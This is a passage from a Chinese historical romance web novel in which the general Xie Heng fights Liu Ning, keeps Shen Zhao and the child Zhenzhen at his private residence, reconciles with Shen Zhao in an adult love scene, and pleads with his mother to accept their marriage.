店小二不敢怠慢,走到柳宁身旁:“柳掌柜,那名买主指名要您过去。” 柳宁应下,端起茶盘,向谢珩走去,他为其斟满茶水,恭敬说道:“公子请用。”而后收起茶盘,转身欲走。 谢珩却直截了当开口对他说:“四年前,我同沈昭已有婚约在身,虽未礼成,但已交换过庚帖。” 柳宁的步子顿住,背对着他,他竟如此直白地打碎了他的梦,端着茶盘的手越攥越紧,脸色愈沉。 自谢珩那日来寻茶铺背后的东家,柳宁心中早有几分猜测,夏目同她的丈夫惊云还未和离,她的前夫纠缠不休,谢珩应当不会寻夏目。 那茶铺的东家只能是沈昭了,她多年未嫁,若不是决意不婚,便是心中早有心仪之人。 他本以为,只要他耐着性子等,总有让她看到的那天,但不成想谢珩竟如此不按常理出牌。 仿佛舍不得下咽的一盘珍馐,还未起筷,便被旁人将盘子都端走了。 但他转念一想,他们二人之间的牵扯,又何至于说给他一个外人听? 柳宁沉下心思,唇角扯出一抹笑,浅含几分讥诮和凉薄,迎上谢珩的视线:“从未听闻。” 他确实是如实所答,他与沈昭非亲非故,沈昭甚少露面,若非因着蓁蓁,他更没有接近她的机会,沈昭更不会将她与谢珩之间的私事说与他一个外人。 这话加上柳宁那副浅笑,落入谢珩眼中,成了赤裸裸的挑衅。 毕竟在谢珩心中,这四度年华,是由柳宁和孩子填满的。 谢珩心中愈发苦涩,这苦凝在他的喉中,咽也咽不下,他跨步上前,直接拎起柳宁的衣襟:“那你又有何资格!无媒无聘就是苟合,哪怕有了孩子,未在官府登记造册,算不得夫妻, 你若真心爱慕她,又岂会待她如此,她到底看上你哪点?” 柳宁眼眸忽暗,他霎时明了眼前人原是误解了,也难怪!蓁蓁整日娘亲喊得顺口,又因着她身量小,完全不像四岁孩童,若非知晓其中内情,难免令人误解。 就连他初见沈昭时,也曾误会了,后来才知道蓁蓁嘴里有两个“娘”。 他登时有了几分底气,饶是再琼林玉树的公子,面对自己所爱之人芳心他许,只能无可奈何罢。 他扯开谢珩的手,指尖拂过凌乱的衣襟,如扫去灰尘般从容,袖口一振,缕平衣袂:“你又不是她,怎知她的心意?她爱慕何人,抛却何人,是她的自由。 位高权重、功名利禄也换不回一颗真心,女子肯为男子孕育一个生命,这不就是爱么? 幼小的生命一旦出生,便连接两人的骨血,这是不争的事实,哪怕有一天各从所好,但孩子无法被抹去,她见证了过往” 话音未落,谢珩猛地一拳打在他脸上,指骨染血,打断他未说完的话,接着又是一拳,砸上他的眼眶,仍未收手。 柳宁的话如一把利剑,破皮拆骨,毫不留情地剜在他心上,挑起他每一寸的神经,又狠狠碾压。 尤其是牵扯到那个孩子,彼时沈昭与他避孕,可转眼却生下了蓁蓁。 他想不明白,也不想明白。 周围看热闹的人见势不对,忙上前将扭打在一起的两人扯开。 四五个汉子才堪堪将谢珩拉开,店小二护在柳宁身前:“请公子自重,我们已经报官了!” 柳宁眼眶乌青,嘴角流血,他将唇边的血擦去,推开身前之人,行若无事地走向谢珩,挑衅道:“你打了我,你猜她会不会更气你,将你推得更远了。” 柳宁脸上一片青紫,心中却是说不出的畅快,堂堂一介七尺男儿,竟栽在一个女子手中,真是可笑,甚至为其不惜与他大打出手。 因着沈昭善良,对待店里的伙计向来赏罚分明,谢珩这一遭,因着误会将他揍了,若是她知道了 柳宁心中窃喜,言语中不断寻隙,意图将他激得更甚。 谢珩挣脱束缚,肩背因愤怒上下起伏,狠厉地望着他,眼瞳猩红,却终究没再向前踏出一步。 毕竟,柳宁所言非虚。 谢珩手中凸起的青筋几乎崩裂,身子微微颤动,说道:“孩子是孩子,她是她,有了孩子你更应该爱重她。” 听了他的话,柳宁挑眉望他,意外他竟然忍住,没再动手。 很快,四名官差随着店小二来到茶铺前,桌椅板凳乱做一团,茶盏被打翻,茶水四溢,周围看热闹的百姓围了一圈又一圈。 官差不耐烦道:“怎么回事!谁先动的手。” 周遭围着的茶客和百姓们目睹了整个经过,纷纷指向谢珩:“是他。” 一个经常买茶的阿婆主动上前:“官爷,这个人看上人家小娘子了,那小娘子孩子都有了,这是遭的什么罪啊,他还把人家夫君打了,看着清清白白的一后生,怎的脾气这么大。” 为首的官差顺着阿婆的视线,看向谢珩,起初满脸不耐,但瞧着眼前人却越看越熟悉,他细细琢磨,认出谢珩。 这不正是前几日高坐于马上的谢将军,宫里的庆功宴就是为他们而设,哪怕是刺史来了,都得让他几分薄面。 听闻他为人方正,又有官职在身,更不是不懂律法之人,岂会当街行凶斗狠呢? 可宫里传来的消息沸沸扬扬,据闻他在御书房还顶撞了圣上,他一个朝不保夕,只为着填饱肚子的官差,可不敢招惹这号人物。 再瞧另一边,柳宁一副文弱书生模样,被打得脸上带伤,一言不发地站于一旁。 官差怕惹人非议,先遣了周遭百姓,又分别上前问询一番,两人皆不言语,倒正合了他的意,准备草草放过:“那就算了,万事合为贵。” “等等!”柳宁在官差身后喊住他们,指着谢珩,“我要报官,告他私抢民女。” 昨夜他匆匆离去,回到茶铺之后,并未见到任何人,他心中有疑,他本以为买茶的茶客能找到灵山寺,定是老主顾,不曾想竟被诓骗了。 可已近子时,他不便再上山,本准备今日打烊后再去山上看看。 但他一早碰到夏目,得知夏目昨日在衙门里处理完她和惊云的纠葛,上山之后却并未寻到沈昭和蓁蓁。夏目报官后,至今仍没有关于她们娘俩的任何消息。 但眼前的谢珩让他心中不禁有了另一个猜想,既是他误会了,那他出征的这些年,心仪的女子再嫁他人,生下孩子,他定会心生嫉妒,难免不会干出有违常理的事。 又因沈昭平日结交的人并不多。 据夏目所言,沈昭起初多在洛阳买茶,后来一步步才到了长安,这一年间,多是夏目和他忙着长安铺子里的事,她独自居于山中,与长安城里的人从未来往过。 那唯一有可能将她带走的只有谢珩。 若是他因爱生恨,作出更出格的事也未可知。 “哎,你别含血喷人啊,凡事要讲证据,”还未等谢珩开口,官差先一步发话,“你既然要报案,那跟我们去衙门走一谈吧。” “今早家中已有人报案了。”柳宁盯着谢珩,他虽没有证据,但是此事绝对与他有关。 官差灵光一闪:“确实,这女子走失是大事,我这就回县衙召集人手,城内城外加紧巡查。”他同随行差役交换个眼神,脚底抹油,先走为上。 总归人家苦主不追究谢大人打人的责任,他在那杵着无用,何必自找麻烦。 官差走后,谢珩刚要离去,便听闻柳宁对他说:“谢大人身为朝廷命官,更是知道强抢民女,拐骗无辜百姓之人该如何处置吧,你最好将她们二人速速送回茶铺。” 谢珩搭在佩剑上的指节一下一下轻敲着,似是听到了天大的笑话般,扯起唇角一抹邪肆的笑:“官府办案,一向以证据为重,你口口声声称是我将人带走,你的证据何在?况且” 他走近几步,低醇的声线满含嚣张,“就算是我带走了,你又能如何?” 他眉眼生得极好,本该矜贵如玉的公子,因着沙场的淬炼,多了几分戾气,明明此刻带着笑,却更像雪地里反光的刃,亮得人心中发慌。 他扬长而去,徒留下柳宁的叫喊声:“你哪怕可以强行带走她的人,但是她的心并不在你身上。你敢不敢让她自己选,看她会跟谁走!” 第62章 谢珩置若未闻地离开了茶铺,徒留身后无力的喊叫声。 有了孩子又如何? 沈昭她人既已在他们的私宅中,还愁得不到她的心么? 他可以确信他自己是沈昭的第一个男人,同样也笃定柳宁不会是最后一个,他才是! 回府的途中,他绕路去了趟西市,在往日沈昭常去的几家店前驻足排队,买了些吃的带回,毕竟他还不知府上的厨子的手艺合不合她胃口。 犹记得在国公府时,她常因礼数不敢多食,总得饭后偷溜出府再寻些小食。 他们现下住的地方距西市仍有一段距离,与其让她想方设法跑出府,不如将她爱吃的全部备好,一并带回府中。 他双手满载而归,怀里抱着热腾腾的包子,与当初那个不时不食,连路边面摊都要躲几米远的自己,判若两人。 不远处一个哭闹的孩子却引起他的注意。 “我就要这个泥偶,娘,你骗人,你答应给我买的!”孩子不依不挠,扯着他娘亲的衣角,四仰八叉地在地上打滚,一副不买不罢休的模样。 经过他一番折腾,为娘的磨不开面子,许久才从怀中掏了碎银:“买,买,你自己拿一个吧。” 孩子抹了把脸上的泪痕,开开心心挑了个泥猴,笑着随他娘走远了。 货肆上摆满了孩童喜欢的玩意儿:泥偶、竹蜻蜓、陀螺、彩塑、纸鸢等,样式各异,花色繁多。 周围围了一圈儿孩童,眼馋地盯着花花绿绿的玩意儿,被爹娘带走后,还不舍地回头张望半晌。 谢珩看在摊前看了许久,才讪讪开口:“这有没有女童喜欢把玩的物件?” “有啊,公子!”摊主见其衣着不凡,献宝似地拿起地上摆着的泥塑:“这个卖的可好了,遇水不化,刚卖出去一个。”说完之后,念着女孩干净整洁,又拿起一支竹蜻蜓:“这个也好!” 摊主两手掌心相对,轻轻揉搓竹竿,木制的蜻蜓翼飞速旋转,霎时间鲜活灵动,向着谢珩肩侧飞去。 他出手接住,捏在手中细细打量,他少时从不贪玩,对此类玩具亦不感兴趣。 这竹蜻蜓以薄木片削制,两片斜翼对称,底端以一根竹棍作为支撑,打磨的圆滑无刺,倒不会伤手,便于搓捻,倒是有趣。 “就这个了,”谢珩两指夹着,又垂眼扫过地上摆的物件,随意点了几个模样好看些的,一并交给摊主:“都包起来吧。” —— “准备好了?” 听得沈昭安排,侧躺在地上的夏安兴奋地点点头,阖上眼眸装晕。 沈昭和春宁分别侧身躲于门后,一个手里举着木凳,一个捧着空茶壶。 沈昭思来想去,不能坐在此空等,何况夏目并不知她们眼下的境况,铺子和惊云的事足够夏目伤神,她又无法与其传信,若是寻不到她的女儿,她肯定心急如焚。 她还是要带蓁蓁尽快离开此处。 蓁蓁跪在装晕的夏安身旁,同沈昭点点头,待一切准备妥当,她冲屋外大喊:“来人啊!救救我娘吧,娘,你不要死!救命啊!” 门外的家仆听罢,二话不说将门打开,刚一露头,沈昭手中举着的木凳直直向其砸去,嘴里小声念叨:“对不住对不住。” 眼前的家仆慢悠悠倒下。 “娘!”听得蓁蓁的惊呼,沈昭才发现站于另一侧的春宁不敢下手,茶壶还攥在她手中,大眼瞪小眼地和家仆,互望着彼此。 春宁顺势紧紧抱着家仆的腿:“小姐快跑!我拖住他。” 蓁蓁正对着门,嗖一下跳出门槛,跑到院中。 沈昭顾不得犹豫,挣开家仆的手,也往外跑,岂知刚喘了两口新鲜气息,便围上一圈家仆。 料到她会想方设法离开,谢珩早有防备,哪怕她侥幸骗过门前的家仆,也走不出这个院子,出了这个院子大门亦有看守。 整个宅院早被封锁得一只雀儿都飞不出去。 “沈昭,你想去何处?”家仆们如潮水分浪,谢珩从后走出,手里还拿着他买的食物和玩物。 他身旁的家仆一把捞起蓁蓁,拎着她后颈的衣衫,如提溜一只猫崽般,徒留她双手双脚悬空,不住地乱踢。 沈昭上前去抱蓁蓁,却被谢珩挡在她面前,他将手中的东西交与家仆,吩咐道:“将她带走,我有事要和她聊聊。” “谢珩,蓁蓁她什么都不知情,你要带她去哪?”沈昭被拦下,复又被抓回了房中。 这些家仆只听谢珩吩咐,似面无表情的人偶般,挡住她的去路,任由她如何呼喊,都无人回应。 哪怕联合春宁和夏安,三个手无寸铁的女子,面对一群身强力壮的家仆,也无可奈何,她们三人退回房内。 夏安着急道:“小姐,这可如何是好?” 沈昭望向窗外,虽明知谢珩不会伤害蓁蓁,但又忍不住担心,嘴上只道:“没事,静观其变吧。” “你是坏人!快放我下来。”蓁蓁扑腾着手脚,被拎到她之前待的别院,嘴上却一直不停。 家仆将她稳稳放下后,退至一旁静候。 院子的石桌之上,摆满了谢珩给她买回的新鲜玩意儿,至少,在谢珩眼中罕见。 蓁蓁目光扫到桌上的竹蜻蜓、纸鸢、泥偶等等,将头偏过去,看也不看:“我才不要这些呢,我只要我娘,我家里都有,才不稀罕呢,你休想收买我。” 她小嘴叭叭说个不停,很是厉害。 毕竟自打她会走时,便整日围在茶铺旁了,见识的多了,嘴皮子又溜。 谢珩唇角挂着笑,这小丫头当真随了沈昭,一张巧嘴比谁都会说。 他拿起一支竹蜻蜓,放在手中把玩:“你叫蓁蓁?” 蓁蓁紧闭着嘴,气鼓鼓地扭着头,无声抗议着他。 谢珩不欲兜圈子,蛊惑说道:“蓁蓁,在这儿你想要什么我都会满足你,你爹能带给你的一切,我可以做的更好,多一个人关心你,不好么?” 既然沈昭这么在乎这个闺女,那他不仅要得到沈昭的人和心,还得让这丫头满意才是上策。 “哼,我没有爹,你们都是坏人!都只会欺负我娘。” 她的话如一颗石头,砸落在水中,惊起水花四溅。 谢珩旋着竹蜻蜓的手僵住,适才细思,自把她带走以后,她整日哭着喊着要见她娘,确实没提到他爹的事。 她既如此说,这不更代表了她与柳宁关系不好,否则岂会有亲生闺女不认自己的爹的道理。 柳宁同他又有何区别。 这话入耳,谢珩转念一想,深邃的眸底骤然映出一泓星辉,克制地压住喉间溢出的低笑:“确实,我也觉得如此。” 脱出口的尾音压不住地上扬,恰似轻风掠过柳稍枝头那瞬轻颤。 可转瞬,他便敛起笑意,既然自己的闺女都看他如此不堪,柳宁到底做了何事,才会到如此地步。 后悔刚才在茶铺时,少揍了柳宁两拳,否则他一并将蓁蓁那份给了。 他垂眼略过桌上的纸鸢:“你爹娘亦不是万能,你瞧,这天上的纸鸢如鸟儿般无拘无束,想飞去何处去何处,你想不想试试?” 蓁蓁睫毛颤了颤,眼中的光亮一闪而过,小手不觉地绞着衣袂,她才不会轻易上当。 他又不是鸟儿,又没有翅膀,他怎会飞? 她细小的动作被谢珩轻易捕捉,尽收于眼底。 “杨方,去。”谢珩轻扬起下巴,眸光望向院墙,杨方得令,下一瞬,展臂飞至其上,一个潇洒的转身,衣袍猎猎,迎风而立。 “哇!他真会飞。”蓁蓁跳着拍起小手,眼中亮如星辰,仰头望着他。 杨方得意得高昂着头,殊不知他这一身功夫,还有一日可以逗小孩的玩乐。 谢珩:“如何,你想不想上去看看更高的楼宇台阁都可以。” 蓁蓁腮帮子鼓鼓的,樱唇撅得好似能挂住油瓶儿,眼珠子滴溜溜转了几转,心中再想,却偏憋着不开口。 谢珩抬了抬眼,杨方会意,立即飞下墙头,揽起蓁蓁,兀自带着她飞上了檐角。 蓁蓁惊得不由得睁大圆眼,感受风吹过她脸庞的清爽,像鸟儿一样张开小臂,在空中自在飞驰。 这方她玩的在兴头上,沈昭却不住地忧心柳宁,她念着谢珩若是爱屋及乌,大概不会难为蓁蓁,但如果对上柳宁,他又会如何处理呢。 她的眸光落在远处,似穿过重重烟柳,看不真切,连那经过窗柩,向她匆匆而来的身影,都恍然略过了。 谢珩推门而入,命春宁和夏安离开。 她们二人虽心中犹豫,但到底不敢忤逆,只得小步退下。 沈昭见他眼中光彩流转,眉梢上都是掩不住的笑意,他步履生风,去见柳宁时配上的玉佩叮咚作响,一如他此时的心情。 怕引他不快,沈昭并未主动提及柳宁,只等他开口。 谢珩径自取了茶壶,斟满两杯热茶,推到沈昭面前,同她碰杯庆祝,眼笑眉舒说道:“沈昭,蓁蓁这个孩子随你,伶俐可爱,若你不介意,不妨我将他爹取而代之,同你一起养这个孩子。” 第63章 取而代之,一起教养?! 这句话炸在沈昭头顶,每一缕青丝都颤栗着发麻,此话竟是从一向修身立节的谢珩口中说出! 在他的误解中,她现在已算嫁为人妇,还有了女儿,他将如何取而代之? 沈昭不敢去想其中缘由,生怕他因一时冲动,做出出格之事,忙说道:“谢珩,我同柳宁并没有私情。” “你同他如何,已是过去的事了,我并不在乎。”谢珩的两指捏住杯盏,拿在手中把玩,并不在意她的解释。 有情无情皆无所谓,只要现在陪着她的人是他! 那名唤蓁蓁的小女孩讨厌她爹、沈昭又急于撇清她们二人之间过往。 如此,甚好。 谢珩不紧不慢地从怀中拿出四年前被沈昭扔下的契书和婚书:“既然你撕毁了契书,不想叫兄长,以后就叫夫君吧,签下婚书,明日随我去官府登名。” 金线缂丝的云龙纹红绸展开,仍是四年前那份婚书,上好的洒金宣,边缘暗纹隐现,寓意百年好合的谶语。 卷尾最末的署名,谢珩两字写得庄重有力,纸上的金粉宛如那夜新娘团扇下闪过的金钗流光。 婚书被他保存完好如初。 谢珩命人去房里取了笔,递给沈昭。 沈昭看着眼前的笔,迟迟没有抬手,谢珩亦不扰她,只在一旁默默候着。 桌上的茶饮下了一盏又一盏,茶壶的分量渐轻。 沈昭将笔搁置在一旁,毅然决然道:“谢珩,这字我不能签。” 她本就答应过李立雯,会彻底从谢珩身边消失,这几年她隐姓埋名一直居于深山中,甚至在遇到谢珩之前从未踏足过长安城半步。 除了夏目之外,她更未和从前相熟之人有任何牵扯。 且不论她同谢珩如今仍牵扯不清,已违背了当日的承诺,这字她绝对签不得。 谢珩的指尖反复在杯沿摩挲,上扬的唇角仍是明媚的弧度,似乎并不惊讶她会拒绝,也不在乎。 房中静谧,落针可闻,只余两人的呼吸声清浅交错。 谢珩脸上的笑一寸寸瓦解,心中像□□巴巴的棉花塞得密不透风:“若你所言为真,你同柳宁没有瓜葛,蓁蓁又讨厌他,我已经离开晋王府,还有何事能阻隔你我?” 沈昭给不出他想要的答案。 似怕再次搅起他心中的波澜,沈昭抬眼同他对望,搭在笔旁边的手,却逃一般一点点向后滑落,却忽的被他的大手覆住,紧紧拉住。 沈昭挣扎着扭着手,摆脱他的束缚,反被他五指一收,将她纤细的皓腕牢牢扣住,不容她挣脱半分。 “沈昭,”他浅笑唤她的名字,嗓音微哑,掌心却灼得厉害。 她抽手欲退,反被他骤然一拽,整个人跌入他怀中,被他身上的沉香气裹了满怀。 衣袂相贴,暗香浮动。 隔着几层衣衫,仍挡不住他胸腔传来的热度,她的腰肢被他牢牢环住,整个人侧坐在他的腿上。 四目相对,谢珩眼眸中倒映着她,素色衣衫绽放在他眼中,仿佛一朵盛放在黑夜的花。 花颤巍巍地绽放在他怀中,他终是不忍,丢盔弃甲般 早早投降。 耳边传来他的低语:“沈昭,无论你心中有谁,就不能分我半席之地么?你曾言在九州可养面首,如若你喜欢,也便随了你,我愿意尊重你的一切,只要你别将我推开。” 他将头埋在她颈窝间,违心地说出此番话,已然耗尽了他全身气力。 在沙场上浴血驰骋、奋勇杀敌的将军卸下铁甲,此刻贴在沈昭身侧,静静伏在她怀中,内心却溃不成军。 沈昭被他这番话,触动地久久滞住呼吸,被他攥住的手不觉地发力,同他紧紧相扣,脑中只余一片空白,只觉一股热流自心口直冲到眼眶。 她捧起他的面庞,指尖轻拭过他的眉眼,眉宇之间还残存着一丝倦意,素日凌厉的凤眸半阖,长睫低垂,在眼下投下一片浅影。 她从未料到,面首不过是她随口而出的玩笑话,竟被他掂在心中反复揣摩、斟酌犹豫。 无论多么荒唐的事,只因着有她在,他都可妥协。 这些年,沈昭并非没遇到对她示好的男子,样貌俊逸、在朝为官者皆有,可每每误以为蓁蓁是她女儿时,个个却又尴尬地难以言明地退却。 女子再嫁在这个时代,仍不可避免地受人指摘,更遑论带着一个孩子。 只有眼前的人,不介意她这些年那子虚乌有的过往,强行闯入她的未来。 因着爱重她,主动迎合、接受她的一切。 两个因着风俗文化、封建礼法不同,完全不相融合的世界,在被他努力妥协、拉近、拼合。 只因有她。 自他们重逢后,他步步紧逼,她却次次退让。 这次,她终于主动触碰到他,细长白皙的指尖轻轻擦过他紧绷的唇角,这四年强撑的镇定在此刻碎的彻底:“谢珩,你不必为我如此,这不值得。” 他反握着她的手,只将下颌抵在她掌心,呼吸沉沉:“值不值得,得由我而定,既是为你,何事都是甘愿,是值得。” 风拂过窗柩,树叶沙沙声扫在心间。 窗外日光晴好,映在他深邃的眼眸中像掬了一把星子,熠熠发亮。 沈昭低笑,指尖在他眉心点了点:“这般模样,倒像只倦懒的狮子。” 揽着她细腰的手忽地发力,将她带入到他怀中,托着下颌的手错开,垂落于他身后,贴着他硬挺的后脊。 沈昭尚未回神,炽热的吐息扑面,他仰头吻上她的樱唇。 他温柔地吮摩,似春风拂过花瓣,酥痒入骨。 她指尖微颤,攥紧他的衣襟,却被他扣住手腕,十指相缠,按在胸膛。 “唔”沈昭唇中溢出半声,将头偏开,微喘着气,“谢珩,我不愿看到,你因我而背弃了你的家人,你还有祖母和母亲,你不能一走了之。” “你就是因此,才迟迟不肯接受我么?” “嗯。”沈昭点头应是。 “好,我会向她们道歉,同她们交代清楚,也会给你一个交代,一切都依你。” 她身上的甜香缠绕在他每一寸发丝、每一次吐息中,谢珩呼吸加重,喉结不觉地滚动,他用气音贴在她耳畔,轻吐出两个字,“可好?” 她唇瓣微启的瞬间,正中了他的意,被他炽热的吻封住,小舌霸道地直驱而入,挑弄着她的舌尖,又在她的齿关间痴缠,疯狂地霸占所有。 垂落的眼睫扫过彼此的脸颊,痒得让人心尖发颤,因他的蛮横他们彼此的鼻尖不时相撞。 谢珩索性固住她的头,大口吸吮着她的每一次吐息,他干燥的唇纹间还残存着沙场留下的粗糙,放大厮磨的粗粝和力道。 她呼吸凌乱,只觉天旋地转,唇齿撩拨间,啧啧的细密水声入耳,指尖轻搭在他后脊上,却烫得厉害,仿佛坠入一团灼灼烧着的云里。 青丝交缠,罗衣凌乱。 他周身热得仿佛一团烈烈其盛的火,将怀中这块暖玉焐热、温化。 沈昭将他半推开,眼中氤氲朦胧,蒙着一层旖旎的水雾:“还是白日,不可以。” 谢珩手臂穿过她的腿弯,将她打横抱起,走向床榻:“我不管白日黑夜,我要日日夜夜,还有,我可不倦懒。” 他用脚勾放下床边的帘幕,将她轻轻放在床*上,指尖掠过她散在鸳鸯枕上的青丝,如抚琴弦般,引得她耳后泛起淡淡绯色。 绣鞋不知何时被踢落,他起身扯下她脚上的罗袜,将她的玉足抵在胸前。 轻柔的吻顺着她的玉足,一点点向上,激起一片酥麻。 沈昭用力去踢开他,却像挑弄一般,被他攥着脚踝,骤然拉近距离,撑在她上方。 玉冠束着的发丝垂落,扫过她的锁骨,微痒,似细雨沾湿花瓣,又似幼猫的绒尾扫过玉脂。 她不由得轻颤,如火般的吐息一点点游移至颈侧,在她的雪肤上烙下点点红梅,窗外檐下的风铃叮咚,恰好掩下她喉中的半声嘤咛。 罗衫层层委地,似褪尽花瓣的芍药,只留下最隐私的花蕊。 当那花蕊尽湿,盛放的前夕,他俯身在她耳畔问道:“你还要肠衣么?府上一直备着。” “好。” 他从枕畔取来薄如蝉翼的肠衣,手中动作不停,俯身吻上她的眼角,汗珠自他的下颌滑落,喉结滚动加重了力道。 束紧时发出的细微声响,混着她紊乱的呼吸。 他复又俯身,软纱红帐簌簌摇动,金钩叮当,教她绷紧了足尖,在锦被上蹭出深深褶皱。 直到夕阳西沉,他才餍足地起身,身上水痕斑斑,分不清到底是不是汗 沈昭伏在锦衾间,青丝迤逦如瀑,同他的发丝纠缠,不分彼此,掩住她颈间的朵朵春痕。 周身骨软筋酥,似一捧雪融在炎炎的火炉中,指尖儿都透着慵懒的粉。 他坚实的臂膀仍锢着她的腰肢,掌心贴着她的小腹,热得撩人。 双腿酸软难合,还带着几分颤意,稍稍动弹,便牵扯隐秘处的涨麻,教她不觉蜷起脚尖。 他哪里是只倦懒的狮子,分明是头饿疯了的狼。 第64章 春熙茶铺内。 店小二清理好店内的狼藉,看热闹的百姓散去,一切又恢复如常,刚才那一场争执好像从未发生。 除了柳宁脸上的淤伤泛着青紫。 他顾不得多想,匆匆交代好店里的事去寻夏目。 夏目此时在茶铺内,一边擦拭桌子,一边招待买主,远远瞧着柳宁的身影,她热络地招呼:“柳宁,帮我给他们倒点茶,我去后院看看。” 店里排队买茶的买主催促的声音不断,因着人手不足,夏目虽是掌柜的,却总不得闲,常常身兼多职,忙得脚不沾地。 蓁蓁和沈昭从昨夜起便没有消息了,夏目凌晨天还未亮,便独自上山去灵山寺、茶铺,甚至在严家附近转了转,都没寻到她俩。 天亮后,她先去衙门报了官,登记了她们二人的信息,官府搜寻毕竟需要时间,只暂让她回家等着。 人要找,茶铺也不能因她而耽误生意,她报完官后便一直在茶铺忙着等消息,忙碌消解了等待的漫长。 可她到底不能全然放下,有些心不在焉,又因着茶铺里今日买主奇多,忙个不停,还不慎摔了一脚,崴了脚,肿起一个鼓包,敷了药也不见好。 行动不便,她本站在账台前收银,可是久站不动,只靠着一条腿支撑全身力气,站得久了更不自在,她只得一瘸一拐地帮忙倒点茶水。 柳宁平日最是客气,几乎不会拒绝她的请求,这次他却大步向前,将她拉至一旁:“夏姑娘,我知道沈昭和蓁蓁被谁带走了!” “在哪!带我去。”夏目慌得差点将手中的茶壶摔了,身子一歪,多亏柳宁搭了把手才不至于再摔一次。 观她实在寸步难行,何况谢珩今晨这一遭来势汹汹,若是起了争执,更需用些手段才能强行把蓁蓁和沈昭带回,带着夏目前去,实属不便。 柳宁将她扶至一旁坐下:“你放心,她们应该没有受到伤害,是谢珩,我去晋国公府附近打听过了,他现在离府而居,我一会带些人手过去,一定将她们二人带回。” 夏目:“你弱不禁风的,怎打得过他,”她适才看清柳宁脸上的淤青和伤痕,不放心道,“你这脸不会就是让他揍的吧。” “无事,我路上来得急,摔了一跤,我花钱雇了几个伙计,你放心,晚饭前我会同她们一块回来,看好店里。”柳宁交代完这句,他雇的人手和马车驶到茶铺前,他不再多言,转身跳上马车。 夏目望着马车渐行渐远,不禁攥紧了帕子。 —— 沈昭累得厉害,迷迷糊糊躺在床上又睡了会,待她醒来时,谢珩已沐洗过,换好了衣袍。 他轻轻走到床前,吻了吻她的眼角。 感受到他的气息,眼睫轻颤,沈昭睁开眼眸,看他衣着齐整问道:“你要去哪?” “回晋国公府,我会依你所言,求母亲谅解,希望她可以成全你我。” 他既知她心中最大的顾虑,自是不愿让她夹在其中左右为难,只要可让她心安,他愿意向任何人低头。 沈昭以手肘撑起身子:“我同你一起去。” 谢珩拉起锦被遮住眼前的春光,轻按着她的双肩,让她慢慢躺下:“改日我同你一起回去,我自战胜而归,还未好好同母亲说过话,你好生在此休息吧。” 李立雯心中有气,若沈昭同他一起回府,肯定少不了她的责备,更会火上浇油。 此事是他不孝在先,合该他先去谢罪。 沈昭仍欲起身,却被他执拗地摁在床上:“若你饿了,随时吩咐厨子,桌上还有我从西市买的小食,让厨房热一下,都是往日你爱吃的,等我回来。”谢珩起身出府。 待他走后,春宁和夏安入内,备好了热水,随时可沐洗,沈昭换好衣衫后,抬眼偷瞧着院子。 夏安轻声喃喃道:“小姐,您别瞧了,院子里全是人,莫说是人,连只鸟都飞不出去!” 谢珩简单吩咐后,驾马赶回王府。 李立雯这几日茶饭不思,憋在心里的火越积越深,但偌大的王府只有她一人,冷冷清清。 谢珩前脚刚在府前下马,家仆的通传就到了李立雯耳中:“夫人,少爷回来了!” 李立雯眼皮轻跳,僵了的脊背又挺了几分,扶正头上的金簪,慢慢端起茶盏,浅啜了一口,试图挡住她脸上的几分落寞。 未久,一个颀长的身影出现在她视野中,她轻抬眼皮。 谢珩径自上前,在一旁恭恭敬敬执礼:“母亲。” “既然走了,又何必回府。”李立雯幽幽开口,语气说不出的冷淡。 “是儿子欠考量,不孝在先,还请母亲责罚。”谢珩硬挺的脊背弯下合适的弧度,低垂着眼眸。 李立雯绷紧的唇角缓了缓,心中的阴霾扫去几分,母子哪有隔夜仇,但他此番肆意妄为,她欲好生敲打一番:“我听闻你今日去茶铺闹了一番,珩儿,你已到了议亲的年岁,怎的如此莽撞,多少双眼睛现在盯着你。 你向来不是冲动之人,莫因为仗着身有军功,就忘了礼教,既然回了府,你定是想明白了,那就好好收收心,你得时刻记清自己的身份。” 谢珩并未反驳一句:“是。” 虽不知到底发生何事,但他又一如往昔模样,省身克己,修言慎行,李立雯心中瞬时清明多了,眉眼的愁丝散了大半:“既如此” 谢珩静静听她交代完后,果断开口。 李立雯心中却一慌,似感不妙。 可谢珩却说道:“母亲,我与沈昭之间的事,确实是儿子错了。” 李立雯欣慰地点点头,这一趟四年征战,珩儿到底是长大了。 谢珩:“我当初以利相诱,重金聘她假扮入府,视为不诚;在同她朝夕相处时,罔顾兄妹伦常,对她暗生情愫,视为不伦;因此事顶撞母亲,视为不孝;因自己的私念,请求出征,为换陛下赐婚,视为不忠。” 李立雯怕他妄自菲薄,劝道:“珩儿,倒不必如此,只要你知错能改,我不会一直放不下此事,瑾儿之死,我这几年也想明白了,终究是没有母女缘分,不可强求,当初你也是一片孝心,与你无关。” 谢珩并不在意她母亲的言语,继续说:“儿子如此一个不诚不伦不忠不孝之人,又出言顶撞了圣上,仕途已没,我那些荒唐事亦传遍了长安城,只怕城中名门贵女对我无意,沈昭如今更是对我避嫌躲闪,是我一直纠缠她不放,还请母亲莫错怪了她。” 他先自贬,并讲述原委,试图改变李立雯对沈昭的偏见。 李立雯安慰道:“珩儿,你放心,我堂堂谢家还愁找不着儿媳么,你毕竟是陛下的亲外甥,他嘴上苛责几句罢了,你大可放心,若你真喜欢那名女子,娶回当个侧室便是。” 谢珩不置可否:“儿子自幼蒙您教诲,深知”孝”为立身之本,沈昭初入府中,怀着一颗敬上至孝之心,侍奉您和祖母,府中之人皆可见证。她品性温良,不过一日便习得府中基本礼仪规矩,未曾出过差错,可见其知书识礼,心思灵巧。” 李立雯听出他言外之意,刚准备出声打断,谢珩却又口若悬河般说道:“我已经私下合过八字,天命相合,若结连理,家宅安宁,福禄双至,祖母也看过我们八字的批文,欣然应下。” “你” 谢珩继续:“若母亲实在不允,儿也不敢忤逆,只是我心已许,愿终身不娶,侍奉您和祖母终老。” 谢珩态度谦卑,动之以情晓之以理,先是自贬,又解释清楚沈昭的态度,用命理八字天定劝说,最后不得已只能以终身不娶相胁。 软话硬话都出自他口中,滴水不漏,让人无法同其辩驳。 李立雯额间沁上一层薄汗,被他堵的一口气不上不下,若谢珩执意顶撞,还可捉他不敬不孝的错处,可他先自己将错全认下,言辞凿凿,竟逼得人不知从何说起。 谢珩始终未抬头,既是谢罪又像在等她最后的定夺。 李立雯攥着手中绢帕,其上的绣纹将她的指尖磨红,仍未开口。 母子两僵持间,府内家丁匆匆走进,他们虽知少爷在外另立新府,但是又怕因着此事,触怒李立雯,拱手弯着腰犹豫半晌还未回禀。 堂厅内的低气压,压的人喘不过气。 李立雯低声问道:“说,有何事!” 